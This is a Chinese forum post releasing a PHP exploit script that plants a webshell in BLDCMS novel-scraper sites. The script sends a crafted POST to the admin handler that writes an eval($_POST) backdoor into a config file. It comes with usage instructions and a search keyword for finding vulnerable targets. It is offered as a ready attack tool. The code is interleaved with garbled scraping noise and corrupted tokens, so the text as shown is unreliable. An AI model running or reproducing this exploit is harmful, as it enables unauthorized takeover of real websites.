BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞


话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了

既然都有人发了 我就把我之前写好的EXP放出来吧
" s, _! u/ b  A. ~
9 t  b9 O  L; L2 A1 G$ tview source print?01.php;">
  ^3 n  U* j' M( L/ H# [4 T7 ]! `02.<!--?php
03.echo "-------------------------------------------------------------------
04.
05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
+ F+ P  Y& W9 h7 o# ]06.
: v. [, i6 P- g# k07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
08.
09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
. b6 Z/ g; A7 g: \' m* A# U( Q11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
1 v, {  m" s6 I# }13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
* R/ L. V+ @) S# D% n15.
( S& H5 m  _: p" R# D16.--------------------------------------------------------------------\r\n";
9 W8 v6 O" M8 u/ S8 I! t: e1 \' x17.$url=$argv[1];
" E- W# }# T& \. H2 f' Y; k) I18.$dir=$argv[2];
& H% e( T4 ^1 C9 @  q) Z! t) A19.$pass=$argv[3];
+ G4 F5 h# U& P4 R20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
& g/ J. n: T/ E# o% f4 E21.if (emptyempty($pass)||emptyempty($url))
22.{exit("请输入参数");}
0 t: O8 l) @+ q+ _4 q" s23.else
% B8 X% d+ h1 }8 Z* P24.{
3 f4 V3 t) o; F* S- c/ b- \25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
27.al;
; x: k2 Y) O- I( I28.$length = strlen($fuckdata);
8 T9 \% Y. f' d+ W: Z! F29.function getshell($url,$pass)
30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
34.$header .= "User-Agent: MSIE\r\n";
7 W8 O3 F$ U6 W1 J35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
# Q! ^; e* G. U* y6 B38.$header .="\r\n";
39.$header .= $fuckdata."\r\n\r\n";
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
) t- M; [9 k) O1 U0 X41.if (!$fp)
; x/ [- X# @$ f0 K% T42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
) U8 V! g6 P! @5 ~, F47.else
) Y2 L2 U( z, e. }6 }- J48.{
# R! ^5 d8 w9 k% i6 g! e49.$receive = '';
50.while (!feof($fp)) {
2 G. p9 k$ B- h& j) V) _51.$receive .= @fgets($fp, 1000);
5 T9 R( f2 a+ E  R' ~52.}
53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
55.
56.GPC是否=off)";
# o2 Y. {# v% x2 a! [57.}}
  O% Z$ q6 h5 v58.}
6 R" w$ h0 a/ m/ d& J59.}
& C$ d* V2 l3 m% C6 r2 j. Q60.getshell($url,$pass);
61.?-->

, ]/ I. @+ h4 L9 x0 B
# r7 D, a7 ^  T4 T+ p
* E+ b( P! H  j: l; mby 数据流